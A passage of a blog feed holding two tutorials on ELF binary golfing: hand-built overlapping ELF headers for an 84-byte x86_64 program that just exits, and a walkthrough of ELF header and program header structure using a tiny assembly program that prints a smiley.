&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="nv">_start&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="kc">$$&lt;/span> &lt;span class="c1">; 0x18 | e_entry | | 0400 0000 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;----------------------+------+-------------+----------+--------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Program Header Begin | OFFS | ELFHDR | PHDR | ASSEMBLY OUTPUT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;----------------------+------+-------------+----------+--------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">phdr:&lt;/span> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1">; 0x1C | ... | p_type | 0100 0000 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="nv">phdr&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="kc">$$&lt;/span> &lt;span class="c1">; 0x20 | e_phoff | p_flags | 1c00 0000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x24 | ... | p_offset | 0000 0000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x28 | e_shoff | ... | 0000 0000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dq&lt;/span> &lt;span class="kc">$$&lt;/span> &lt;span class="c1">; 0x2C | ... | p_vaddr | 0000 0000 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; 0x30 | e_flags | ... | 0100 0000 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x40&lt;/span> &lt;span class="c1">; 0x34 | e_shsize | p_addr | 4000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x38&lt;/span> &lt;span class="c1">; 0x36 | e_phentsize | ... | 3800&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1">; 0x38 | e_phnum | ... | 0100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="c1">; 0x3A | e_shentsize | ... | 0200&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dq&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="c1">; 0x3C | e_shnum | p_filesz | 0200 0000 0000 0000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dq&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="c1">; 0x44 | | p_memsz | 0200 0000 0000 0000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dq&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="c1">; 0x4C | | p_align | 0200 0000 0000 0000&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Let&amp;rsquo;s go through this line by line&lt;/p>
&lt;ul>
&lt;li>Line 1 says &lt;strong>BITS64&lt;/strong>, which tells nasm that this is 64 bit.&lt;/li>
&lt;li>Line 3 tells NASM where the binary should be loaded into memory. Usually this
is at &lt;strong>0x40000&lt;/strong>, but this specific address will be useful later on.&lt;/li>
&lt;li>Line 8 is the first 4 bytes of the ELF Header that are required to identify
the file as an ELF binary.&lt;/li>
&lt;li>Line 9 contains the &lt;strong>_start&lt;/strong> label, which is the entry point of our program. It
is located at offset 0x4 within the binary. From here until line 12 is our
actual program. Note the 5 nops at the end, these are just place holders to
show the amount of code we can actually fit in this location.&lt;/li>
&lt;li>Line 21 is where the ELF header continues until&amp;hellip;&lt;/li>
&lt;li>Line 28 where the program header begins in the middle of the &lt;code>e_entry&lt;/code> data of
the ELF header.&lt;/li>
&lt;/ul>
&lt;p>This is where things get interesting.&lt;/p>
&lt;p>The &lt;code>p_type&lt;/code> data structure denotes the type of segment, here a 1, which is a &lt;em>LOAD&lt;/em>
segment, meaning it will be loaded into memory for further usage (the ORG
address on line 3 plays a key role in where we want to be loaded.)&lt;/p>
&lt;p>This structure, containing a value of 1, actually completes the second half of
the &lt;code>e_entry&lt;/code> data structure, making the full value &lt;code>04 00 00 00 01 00 00 00&lt;/code>. This
gives the proper entry address of &lt;strong>0x100000004&lt;/strong>, which is 4 bytes after the
location that the binary is loaded into memory, or 0x4. This is precisely where
our &lt;strong>_start&lt;/strong> label is.&lt;/p>
&lt;p>The next structures that overlap are &lt;code>e_phoff&lt;/code> (which is where the program headers
are located), and &lt;code>p_flags&lt;/code>, which are the flags that determine the sections
permissions. In this case the flags are 0x1C which is &lt;code>00011100&lt;/code> in binary. The
ABI only pays attention to the lowest three bits, meaning this is marked as
&amp;ldquo;executable&amp;rdquo;, and it&amp;rsquo;s value can be shared with the ELF header to designate that
0x1C is the address where the program headers start (which is in the middle of
the ELF header.)&lt;/p>
&lt;p>The rest of the structure continues and overlaps each other with largely dummy
values until the end.&lt;/p>
&lt;p>Keeping these data sizes in mind and how they overlap will be useful in the next
write up. For now, here&amp;rsquo;s a small annotated part of elf.h that shows how this is
eventually laid out.&lt;/p>
&lt;p>&lt;strong>TODO:&lt;/strong> Where did this link to before?&lt;/p>
&lt;h2 id="putt-putt">Putt Putt&lt;/h2>
&lt;p>So now we have our basic structure set up, let&amp;rsquo;s go through what happens when
you run this.&lt;/p>
&lt;p>First, let&amp;rsquo;s compile and run exit.asm like so:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">nasm -f bin -o &lt;span class="nb">exit&lt;/span> exit.asm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod +x &lt;span class="nb">exit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./exit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="nv">$?&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>If all goes according to plan, you should see a 0 as the output from the last
command.&lt;/p>
&lt;p>When we run our ELF file, the kernel looks for the data structures we just went
over in order to determine what to do with this particular binary. We want to
load it into memory (at our specific address defined in p_vaddr) and execute at
the entry point we defined at e_entry. Since the ELF and program headers
overlap, the kernel jumps around our header and eventually loads our binary and
figures out how to execute our code.&lt;/p>
&lt;p>Our program is quite simple:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">al&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x3c&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">xor&lt;/span> &lt;span class="nb">rdi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">rdi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">syscall&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>All we are doing here is moving value of 0x3C into the lowest 8 bits of the RAX
register, putting a value of zero in the RDI register, and calling the kernel.
0x3C is the syscall number for exit, which just exits a process. XORing RDI with
itself creates a 0, which is our EXIT STATUS code, 0 meaning SUCCESS.&lt;/p>
&lt;p>So it&amp;rsquo;s running just fine, despite being completely mangled, but what happens
when we try and analyze this code?&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/2.1.png" alt="">&lt;/p>
&lt;p>It appears that objdump has no idea what to do with it, and readelf gives some
very bizarre values as well. Other debuggers display some interesting results.
You should play around !&lt;/p>
&lt;h2 id="whats-next">What&amp;rsquo;s next?&lt;/h2>
&lt;p>So now we&amp;rsquo;ve successfully created an 84 byte ELF binary, the next step is seeing
what else we can pack in this header, and do some more binary golfing. The next
write up will describe applying these same techniques to create a VPS nuking one
liner containing an 84 byte binary. It will also provide a more in depth look at
specific data structures that can be reused to hold code, and how to jump around
between them. Thanks for reading!&lt;/p>
&lt;p>Greetz to: hermit, +Eevee, dnz, readme, rqu, decoded, notpike, skelsec, jinn,
notdan, MG, phaith, nux, zuph, sshell, def_hand, cedric, protoxin, xero and the
rest of the Thugcrowd crew.&lt;/p></description></item><item><title>ELF Binary Mangling Pt. 1: Concepts</title><link>https://n0.lol/ebm/1/</link><pubDate>Tue, 07 Aug 2018 12:00:00 -0400</pubDate><guid>https://n0.lol/ebm/1/</guid><description>&lt;p>Okay, so you want to see how small you can make a 64 bit binary. In the age of
giant bloated applications full of impossibly convoluted machine instructions,
eating up your memory and disk space, it’s nice sometimes to get down to the
lowest of low levels and create something so tiny, that you know what every
single bit is doing and it’s purpose. To do so, we need to employ some standard
tricks and a little creativity to get us down there.&lt;/p>
&lt;h2 id="building-your-binary">Building Your Binary&lt;/h2>
&lt;p>Let’s start with a really simple program that prints a string in the terminal!
I chose these smaller opcodes to save a bit more space, but we can get into
assembly optimization in another post.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; smile.asm&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;────────────────────────────────────────────────────────────────────────────────&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">.global&lt;/span> &lt;span class="nv">_start&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">.text&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">_start:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kc">$&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">al&lt;/span> &lt;span class="err">#&lt;/span> &lt;span class="nb">RAX&lt;/span> &lt;span class="nv">holds&lt;/span> &lt;span class="nv">syscall&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">write&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="nv">I&lt;/span> &lt;span class="nb">ch&lt;/span>&lt;span class="nv">ose&lt;/span> &lt;span class="nv">to&lt;/span> &lt;span class="nv">use&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">#&lt;/span> &lt;span class="err">%&lt;/span>&lt;span class="nf">al&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">which&lt;/span> &lt;span class="nv">is&lt;/span> &lt;span class="nv">the&lt;/span> &lt;span class="nv">lower&lt;/span> &lt;span class="mi">8&lt;/span> &lt;span class="nv">bits&lt;/span> &lt;span class="nv">of&lt;/span> &lt;span class="nv">the&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">rax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">#&lt;/span> &lt;span class="nf">register.&lt;/span> &lt;span class="nv">From&lt;/span> &lt;span class="nv">a&lt;/span> &lt;span class="nv">binary&lt;/span> &lt;span class="nv">standpoint&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">there&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">#&lt;/span> &lt;span class="nf">is&lt;/span> &lt;span class="nv">less&lt;/span> &lt;span class="nb">sp&lt;/span>&lt;span class="nv">ace&lt;/span> &lt;span class="nv">used&lt;/span> &lt;span class="nv">to&lt;/span> &lt;span class="nv">represent&lt;/span> &lt;span class="nv">this&lt;/span> &lt;span class="nv">than&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">#&lt;/span> &lt;span class="nf">mov&lt;/span> &lt;span class="kc">$&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">rax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">rdi&lt;/span> &lt;span class="err">#&lt;/span> &lt;span class="nb">RDI&lt;/span> &lt;span class="nv">holds&lt;/span> &lt;span class="nv">File&lt;/span> &lt;span class="nv">Handle&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">STDOUT.&lt;/span> &lt;span class="nv">This&lt;/span> &lt;span class="nv">means&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">#&lt;/span> &lt;span class="nf">that&lt;/span> &lt;span class="nv">we&lt;/span> &lt;span class="nv">are&lt;/span> &lt;span class="nv">writing&lt;/span> &lt;span class="nv">to&lt;/span> &lt;span class="nv">the&lt;/span> &lt;span class="nv">screen.&lt;/span> &lt;span class="nv">Again&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">#&lt;/span> &lt;span class="nf">moving&lt;/span> &lt;span class="nb">RAX&lt;/span> &lt;span class="nv">to&lt;/span> &lt;span class="nb">RDI&lt;/span> &lt;span class="nv">is&lt;/span> &lt;span class="nv">shorter&lt;/span> &lt;span class="nv">than&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">#&lt;/span> &lt;span class="nf">using&lt;/span> &lt;span class="nv">mov&lt;/span> &lt;span class="kc">$&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">rdi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kc">$&lt;/span>&lt;span class="nv">msg&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">rsi&lt;/span> &lt;span class="err">#&lt;/span> &lt;span class="nb">RSI&lt;/span> &lt;span class="nv">holds&lt;/span> &lt;span class="nv">the&lt;/span> &lt;span class="nv">address&lt;/span> &lt;span class="nv">of&lt;/span> &lt;span class="nv">our&lt;/span> &lt;span class="nv">string&lt;/span> &lt;span class="nv">buffer.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kc">$&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">dl&lt;/span> &lt;span class="err">#&lt;/span> &lt;span class="nb">RDX&lt;/span> &lt;span class="nv">holds&lt;/span> &lt;span class="nv">the&lt;/span> &lt;span class="nb">si&lt;/span>&lt;span class="nv">ze&lt;/span> &lt;span class="nv">our&lt;/span> &lt;span class="nv">of&lt;/span> &lt;span class="nv">string&lt;/span> &lt;span class="nv">buffer.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">#&lt;/span> &lt;span class="nf">Moving&lt;/span> &lt;span class="nv">into&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">dl&lt;/span> &lt;span class="nv">to&lt;/span> &lt;span class="nv">save&lt;/span> &lt;span class="nb">sp&lt;/span>&lt;span class="nv">ace.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span> &lt;span class="err">#&lt;/span> &lt;span class="nv">Invoke&lt;/span> &lt;span class="nv">a&lt;/span> &lt;span class="nv">syscall&lt;/span> &lt;span class="nv">with&lt;/span> &lt;span class="nv">these&lt;/span> &lt;span class="nv">arguments.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kc">$&lt;/span>&lt;span class="mi">60&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">al&lt;/span> &lt;span class="err">#&lt;/span> &lt;span class="nv">Now&lt;/span> &lt;span class="nv">we&lt;/span> &lt;span class="nv">are&lt;/span> &lt;span class="nv">invoking&lt;/span> &lt;span class="nv">syscall&lt;/span> &lt;span class="mi">60&lt;/span>&lt;span class="nv">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">rdi&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="nb">rdi&lt;/span> &lt;span class="err">#&lt;/span> &lt;span class="nv">Zero&lt;/span> &lt;span class="nv">out&lt;/span> &lt;span class="nb">RDI&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">which&lt;/span> &lt;span class="nv">holds&lt;/span> &lt;span class="nv">the&lt;/span> &lt;span class="nv">return&lt;/span> &lt;span class="nv">value.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span> &lt;span class="err">#&lt;/span> &lt;span class="nv">Call&lt;/span> &lt;span class="nv">the&lt;/span> &lt;span class="nv">system&lt;/span> &lt;span class="nv">again&lt;/span> &lt;span class="nv">to&lt;/span> &lt;span class="nv">exit.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">msg:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">.ascii&lt;/span> &lt;span class="s">&amp;#34;[^0^] u!!\n&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This program uses the most primitive form of writing to STDOUT. It invokes a raw
Unix system call to the kernel, with the registers containing the arguments.&lt;/p>
&lt;p>Save this into a file called asm_smile.s&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">vim asm_smile.s
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">as asm_smile.s -o asm_smile.o
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now we’ve created an object file that can be used to create an executable. We
can link it with ld, then run.&lt;/p>
&lt;pre tabindex="0">&lt;code>$ ld asm_smile.o -o asm_smile
$ ./asm_smile
[^0^] u!!
&lt;/code>&lt;/pre>&lt;p>Okay what have we done here? Let’s take a look at the raw data we generated.
A good place to start is objdump.&lt;/p>
&lt;pre tabindex="0">&lt;code>$ objdump -d asm_smile
asm_smile: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 &amp;amp;lt;_start&amp;gt;:
400078: b0 01 mov $0x1,%al
40007a: 48 89 c7 mov %rax,%rdi
40007d: 48 c7 c6 8f 00 40 00 mov $0x40008f,%rsi
400084: b2 0b mov $0xb,%dl
400086: 0f 05 syscall
400088: b0 3c mov $0x3c,%al
40008a: 48 31 ff xor %rdi,%rdi
40008d: 0f 05 syscall
000000000040008f &amp;amp;lt;msg&amp;gt;:
40008f: 5b pop %rbx
400090: 5e pop %rsi
400091: 30 5e 5d xor %bl,0x5d(%rsi)
400094: 20 75 21 and %dh,0x21(%rbp)
400097: 21 0a and %ecx,(%rdx)
&lt;/code>&lt;/pre>&lt;p>Our program + string is only 33 bytes, so why is our binary 752 bytes? Let’s
take a look at a quick hex dump.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.1.png" alt="">&lt;/p>
&lt;p>Hrm&amp;hellip; There’s quite a bit of extra data in there! We can see our program begins
at 0x78 and ends at 0x98. How can you make a binary smaller right off the bat?
We can use strip!&lt;/p>
&lt;p>$ strip asm_smile&lt;/p>
&lt;p>Strip reads a binary file, and removes a lot of the extra debug and compiler
info that isn’t needed. So what does our binary look like now?&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.2.png" alt="">&lt;/p>
&lt;p>After using strip, we are down to 368 bytes! That’s a pretty small binary. But
remember, our machine instructions were just 33 bytes, so what’s up with all
this overhead?&lt;/p>
&lt;p>To understand this, we need to break down the sections of an ELF binary real
quick. If you’re not used to looking at hex dumps and hand modifying data, this
is a great place to start. It’s not that scary!&lt;/p>
&lt;h2 id="under-the-hood">Under the Hood&lt;/h2>
&lt;p>All ELF binaries need to have a few things in place in order for them to be
interpreted by the Linux kernel properly. As with Windows EXEs, there’s a
structure to the header that defines the overall layout of the binary.&lt;/p>
&lt;p>This example is using x86_64 assembly, so the ELF binaries I am describing here
are the 64 bit version. The 32 bit version is slightly different.&lt;/p>
&lt;p>Let’s take a look at what other information is in this binary. We can use a
program called readelf to help us follow along!&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.3.png" alt="">&lt;/p>
&lt;p>What does this all mean? We will start by first understanding the ELF header.&lt;/p>
&lt;h2 id="elf-header">ELF Header&lt;/h2>
&lt;p>The ELF header section defines the file as an ELF binary. In the hex dump it
looks like this:&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.4.png" alt="">&lt;/p>
&lt;p>Each one of these bytes has a specific purpose.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Offset&lt;/th>
&lt;th># │ Description&lt;/th>
&lt;th>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>00-03&lt;/td>
&lt;td>A │ Magic number - 0x7F, then &amp;lsquo;ELF&amp;rsquo; in ASCII&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>04&lt;/td>
&lt;td>B │ 1 = 32 bit, 2 = 64 bit&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>05&lt;/td>
&lt;td>C │ 1 = little endian, 2 = big endian&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>06&lt;/td>
&lt;td>D │ ELF header version&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>07&lt;/td>
&lt;td>E │ OS ABI - usually 0 for System V&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>08-0F&lt;/td>
&lt;td>F │ Unused/padding&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>10-11&lt;/td>
&lt;td>G │ 1 = relocatable, 2 = executable, 3 = shared, 4 = core&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>12-13&lt;/td>
&lt;td>H │ Instruction set - see table below&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>14-17&lt;/td>
&lt;td>I │ ELF Version&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>18-1F&lt;/td>
&lt;td>J │ Program entry position&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>20-27&lt;/td>
&lt;td>K │ Program header table position&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>28-2F&lt;/td>
&lt;td>L │ Section header table position&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>30-33&lt;/td>
&lt;td>M │ Flags - architecture dependent; see note below&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>34-35&lt;/td>
&lt;td>N │ Header size&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>36-37&lt;/td>
&lt;td>O │ Size of an entry in the program header table&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>38-39&lt;/td>
&lt;td>P │ Number of entries in the program header table&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>3A-3B&lt;/td>
&lt;td>Q │ Size of an entry in the section header table&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>3C-3D&lt;/td>
&lt;td>R │ Number of entries in the section header table&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>3E-3F&lt;/td>
&lt;td>S │ Index in section header table with the section names&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>This is the ELF Header with index values to show exactly where these values line
up in our binary.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.5.png" alt="">&lt;/p>
&lt;p>These values are mainly metadata that tells the operating system what to do with
this file. I won’t get too deep into what these things mean, but they are
necessary to be aware of as we move along. You can find more info here!
&lt;a href="https://wiki.osdev.org/ELF">https://wiki.osdev.org/ELF&lt;/a>&lt;/p>
&lt;h2 id="program-headers">Program Headers&lt;/h2>
&lt;p>Next up is the program header. This area describes a segment and other info that
the operating system needs to know how to run the program. This is how it
appears in our hex dump:&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.6.png" alt="">&lt;/p>
&lt;p>Here is a quick listing of the components that make up the program header.
Note: The offsets are relative to the start of the program header (at 0x40).&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.7.png" alt="">&lt;/p>
&lt;p>Here’s a layout of our the program header in our binary, with indexes for
reference.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.8.png" alt="">&lt;/p>
&lt;p>From the output of readelf, we can see that it matches up with the hex dump.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.9.png" alt="">&lt;/p>
&lt;p>[ .text Section ]───────────────────────────────────────────────────────────────&lt;/p>
&lt;p>Next up is the machine instructions themselves. We saw these earlier when we
used objdump, but in their raw form they look like this.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.10.png" alt="">&lt;/p>
&lt;p>You can see that they contain the 33 bytes of our program.&lt;/p>
&lt;p>[ Section Headers ]─────────────────────────────────────────────────────────────&lt;/p>
&lt;p>These next chunks of information are known as the section headers. They are used
to describe the layout of the sections in the binary.&lt;/p>
&lt;p>You can see in the section header output of readelf that we have descriptions of
the .text and .shstrtab sections. The .text section is what we just saw above,
at offset 0x00000078, containing the machine instructions.&lt;/p>
&lt;p>The section after that is .shstrtab, which is the table of addresses where
strings are located in the binary.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.11.png" alt="">&lt;/p>
&lt;p>In a binary this small, with no labels or anything else, .shstrtab only exists
to say that it exists, by describing the location of the .shstrtab label.&lt;/p>
&lt;p>In any case, these sections are totally unnecessary unless you are actively
debugging the program. All we need are the machine instructions, so we can get
